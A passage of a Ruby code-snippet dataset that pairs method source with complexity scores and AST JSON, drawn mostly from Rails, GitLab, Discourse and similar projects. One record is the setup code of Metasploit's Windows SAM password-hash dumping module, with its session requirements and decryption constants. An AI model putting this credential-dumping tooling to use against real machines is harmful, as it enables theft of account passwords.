end","complexity_score":35.9,"ast_json":"{\"type\":\"def\",\"children\":[\"blocking_lock_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locktype\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"relation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation\"]},{\"type\":\"send\",\"children\":[null,\"relation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"send\",\"children\":[null,\"database\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"advisory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"classid\"]},{\"type\":\"send\",\"children\":[null,\"classid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"objid\"]},{\"type\":\"send\",\"children\":[null,\"objid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"objsubid\"]},{\"type\":\"send\",\"children\":[null,\"objsubid\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"virtualxid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"virtualxid\"]},{\"type\":\"send\",\"children\":[null,\"virtualxid\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"transactionid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transactionid\"]},{\"type\":\"send\",\"children\":[null,\"transactionid\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"tuple\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"send\",\"children\":[null,\"database\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation\"]},{\"type\":\"send\",\"children\":[null,\"relation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[null,\"page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tuple\"]},{\"type\":\"send\",\"children\":[null,\"tuple\"]}]}]}]}]},null]}]}","id":"47d346ce-b6df-4fc1-84c7-4b21cc7934f9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":396,"raw_source":"def test_no_args_record_returns_all_without_array\n    all_binaries = binaries\n    assert_kind_of(Array, all_binaries)\n    assert_equal 2, binaries.length\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_args_record_returns_all_without_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_binaries\",{\"type\":\"send\",\"children\":[null,\"binaries\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"lvar\",\"children\":[\"all_binaries\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"binaries\"]},\"length\"]}]}]}]}","id":"fb400ad3-24cf-43dc-b70a-1bb160d3dd7f"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_email_logs.rb","start_line":31,"raw_source":"def has_error?(error)\n          element.has_css?(\"td:nth-of-type(5)\", text: error)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_error?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\"td:nth-of-type(5)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}","id":"674eb9e7-15ad-4cb5-a96b-0306acb93fe8"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":2104,"raw_source":"def test_date_select_with_nil\n    @post = Post.new\n\n    start_year = Time.now.year - 5\n    end_year   = Time.now.year + 5\n    expected =   +%{<select id=\"post_written_on_1i\" name=\"post[written_on(1i)]\">\\n}\n    start_year.upto(end_year) { |i| expected << %(<option value=\"#{i}\"#{' selected=\"selected\"' if i == Time.now.year}>#{i}</option>\\n) }\n    expected << \"</select>\\n\"\n\n    expected << %{<select id=\"post_written_on_2i\" name=\"post[written_on(2i)]\">\\n}\n    1.upto(12) { |i| expected << %(<option value=\"#{i}\"#{' selected=\"selected\"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\\n) }\n    expected << \"</select>\\n\"\n\n    expected << %{<select id=\"post_written_on_3i\" name=\"post[written_on(3i)]\">\\n}\n    1.upto(31) { |i| expected << %(<option value=\"#{i}\"#{' selected=\"selected\"' if i == Time.now.day}>#{i}</option>\\n) }\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, date_select(\"post\", \"written_on\")\n  end","complexity_score":50.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_select_with_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_year\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"year\"]},\"-\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_year\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"year\"]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_1i\\\" name=\\\"post[written_on(1i)]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_year\"]},\"upto\",{\"type\":\"lvar\",\"children\":[\"end_year\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<option value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"year\"]}]},{\"type\":\"str\",\"children\":[\" selected=\\\"selected\\\"\"]},null]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"</option>\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_2i\\\" name=\\\"post[written_on(2i)]\\\">\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<option value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"month\"]}]},{\"type\":\"str\",\"children\":[\" selected=\\\"selected\\\"\"]},null]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"MONTHNAMES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\"</option>\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"post_written_on_3i\\\" name=\\\"post[written_on(3i)]\\\">\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<option value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"day\"]}]},{\"type\":\"str\",\"children\":[\" selected=\\\"selected\\\"\"]},null]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"</option>\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"date_select\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]}]}]}]}]}","id":"5285b367-2abf-4ad9-8ed0-88a2770eb0d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/job_token/jwt.rb","start_line":53,"raw_source":"def build_payload(job)\n          base_payload = { scoped_user_id: job.scoped_user&.id }.compact_blank\n          base_payload.merge(routable_payload(job))\n        end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scoped_user_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"scoped_user\"]},\"id\"]}]}]},\"compact_blank\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_payload\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"routable_payload\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}","id":"be78b40b-827f-41a8-b9a3-01e70a19b48e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-zendesk-plugin/lib/discourse_zendesk_plugin/post_extension.rb","start_line":11,"raw_source":"def generate_zendesk_ticket\n      return unless SiteSetting.zendesk_enabled?\n      return unless DiscourseZendeskPlugin::Helper.autogeneration_category?(topic.category_id)\n      Jobs.enqueue_in(5.seconds, :zendesk_job, post_id: id)\n    end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_zendesk_ticket\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"zendesk_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseZendeskPlugin\"]},\"Helper\"]},\"autogeneration_category?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"category_id\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},{\"type\":\"sym\",\"children\":[\"zendesk_job\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}","id":"42b8a9ec-a9de-4fc0-8bf4-e2780280b61d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issues_finder.rb","start_line":44,"raw_source":"def params_class\n    self.class.const_get(:Params, false)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"params_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"const_get\",{\"type\":\"sym\",\"children\":[\"Params\"]},{\"type\":\"false\",\"children\":[]}]}]}","id":"452b60c2-d495-48e8-969e-924d37007b4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_presenter.rb","start_line":138,"raw_source":"def add_readme_ide_path\n    ide_edit_path(project, default_branch_or_main, 'README.md')\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_readme_ide_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ide_edit_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"default_branch_or_main\"]},{\"type\":\"str\",\"children\":[\"README.md\"]}]}]}","id":"47276104-f90e-4d57-a9d6-f162189e5521"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/like_serializer.rb","start_line":19,"raw_source":"def virtual_object\n    ActivityPub::TagManager.instance.uri_for(object.status)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"virtual_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"status\"]}]}]}","id":"2b4bf4ff-50c7-4273-8dee-4a3f31f49cd3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/hashdump.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Gather Local User Account Password Hashes (Registry)',\n        'Description' => %q{ This module will dump the local user accounts from the SAM database using the registry },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'hdm' ],\n        'Platform' => [ 'win' ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_registry_open_key\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'References' => [\n          [ 'ATT&CK', Mitre::Attack::Technique::T1003_002_SECURITY_ACCOUNT_MANAGER ]\n        ]\n      )\n    )\n\n    # Constants for SAM decryption\n    @sam_lmpass = \"LMPASSWORD\\x00\"\n    @sam_ntpass = \"NTPASSWORD\\x00\"\n    @sam_qwerty = \"!@\\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\x00\"\n    @sam_numeric = \"0123456789012345678901234567890123456789\\x00\"\n    @sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')\n    @sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather Local User Account Password Hashes (Registry)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\" This module will dump the local user accounts from the SAM database using the registry \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_registry_open_key\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1003_002_SECURITY_ACCOUNT_MANAGER\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sam_lmpass\",{\"type\":\"str\",\"children\":[\"LMPASSWORD\\u0000\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sam_ntpass\",{\"type\":\"str\",\"children\":[\"NTPASSWORD\\u0000\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sam_qwerty\",{\"type\":\"str\",\"children\":[\"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\u0000\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sam_numeric\",{\"type\":\"str\",\"children\":[\"0123456789012345678901234567890123456789\\u0000\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sam_empty_lm\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aad3b435b51404eeaad3b435b51404ee\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sam_empty_nt\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"31d6cfe0d16ae931b73c59d7e0c089c0\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]}]}]}","id":"82fccf8c-01de-4ab3-ae1e-316fce9625df"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/options.rb","start_line":27,"raw_source":"def parse(command_line_args)\n      args_from_file = ArgumentsFile.read_as_arguments\n      args_from_env = ArgumentsEnv.read_as_arguments\n      args = args_from_file.concat(args_from_env).concat(command_line_args)\n\n      define_options.parse!(args)\n\n      @validator.validate_compatibility\n\n      if @options[:stdin]\n        # The parser will put the file name given after --stdin into\n        # @options[:stdin]. If it did, then the args array should be empty.\n        raise OptionArgumentError, E_STDIN_NO_PATH if args.any?\n\n        # We want the STDIN contents in @options[:stdin] and the file name in\n        # args to simplify the rest of the processing.\n        args = [@options[:stdin]]\n        @options[:stdin] = $stdin.binmode.read\n      end\n\n      [@options, args]\n    end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command_line_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args_from_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentsFile\"]},\"read_as_arguments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args_from_env\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentsEnv\"]},\"read_as_arguments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args_from_file\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"args_from_env\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"command_line_args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_options\"]},\"parse!\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@validator\"]},\"validate_compatibility\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stdin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OptionArgumentError\"]},{\"type\":\"const\",\"children\":[null,\"E_STDIN_NO_PATH\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stdin\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"stdin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdin\"]},\"binmode\"]},\"read\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"2ce95506-01a8-472f-b490-0f88dc9702cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/build_name_finder.rb","start_line":5,"raw_source":"def initialize(relation:, name:, project:)\n      raise ArgumentError, 'Only Ci::Builds are name searchable' unless relation.klass == Ci::Build\n\n      @relation = relation\n      @name = name\n      @project = project\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"relation\"]},{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"klass\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Build\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Only Ci::Builds are name searchable\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@relation\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"adba3d71-37f8-4f31-a283-9948f4e1496f"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexer.rb","start_line":87,"raw_source":"def demo_file(arg=:absent)\n        return @demo_file = Pathname.new(arg) unless arg == :absent\n\n        @demo_file = Pathname.new(__FILE__).dirname.join('demos', tag)\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"demo_file\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"arg\",{\"type\":\"sym\",\"children\":[\"absent\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"==\",{\"type\":\"sym\",\"children\":[\"absent\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@demo_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@demo_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},\"dirname\"]},\"join\",{\"type\":\"str\",\"children\":[\"demos\"]},{\"type\":\"send\",\"children\":[null,\"tag\"]}]}]}]}]}","id":"7ecfff38-2705-44f7-8e71-fadf732e7c63"}
